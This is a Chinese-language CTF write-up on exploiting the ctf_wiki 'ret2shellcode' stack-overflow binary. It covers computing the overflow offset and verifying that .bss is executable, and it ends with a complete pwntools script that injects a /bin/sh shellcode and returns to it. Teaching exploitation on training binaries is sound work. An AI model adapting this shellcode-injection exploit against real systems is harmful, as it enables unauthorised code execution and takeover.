【二进制兔子之pwn-栈溢出】— ret2shellcode
【二进制兔子之pwn-栈溢出】— ret2shellcode
ret2shellcode
0x1、程序信息
描述 | 内容 |
---|---|
程序名称 | ret2shellcode |
程序平台 | linux |
程序来源 | ctf_wiki |
CPU架构 | x86 |
libc版本 | 2.31 |
利用手法 | ret2shellcode |
系统版本 | Ubuntu 20.04 LTS |
下载地址 | https://wwnd.lanzoue.com/ijspE0qedbte |
0x2、检查保护
1.没有开启任何保护,堆、栈、BSS段均可执行代码
0x3、寻找溢出点
1.很明显的看到main函数中的gets函数存在溢出点,不过要注意下方,它将输入的字符串复制到了buf2变量中
2.我们双击buf2变量,跳转到了.bss段中,说明它是一个未初始化的全局变量
3.既然它会将用户输入的内容复制到这里来,且又没有开NX保护,所以我们直接在此处写入shellcode跳转过来
0x4、计算溢出偏移
1.gbd加载程序,输入cyclic 200生成200个随机字符,按r,继续运行程序,粘贴随机字符串
2.当程序断下来后,复制当前EIP
3.输入cyclic -l EIP,计算出溢出偏移
0x5、验证bss段可执行
1.在main函数下一个断点并执行
2.输入vmmap,查看起始为0x804a000模块权限信息(buf2在0x804a080),发现是带有可执行权限的
0x6、编写exp脚本
1.编写exp脚本
from pwn import *
# 启动进程
io = process('./ret2shellcode')
# 使用pwntools自带的命令生成shellcode
# 填充长度为产生溢出的偏移112
shellcode = asm(shellcraft.sh()).ljust(112,b'\x00')
# 全局变量buf2的地址
payload = shellcode + p32(0x804A080)
# 发送shellcode
io.sendline(payload)
# 获取交互式shell
io.interactive()
2.运行脚本
本文为 Binary_Rabbit 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
【二进制兔子之pwn-栈溢出】— ret2plt
2023-03-24
【二进制兔子之pwn-栈溢出】— ret2reg
2023-03-24
【二进制兔子之PWN-栈溢出】— ret2text
2023-03-24
文章目录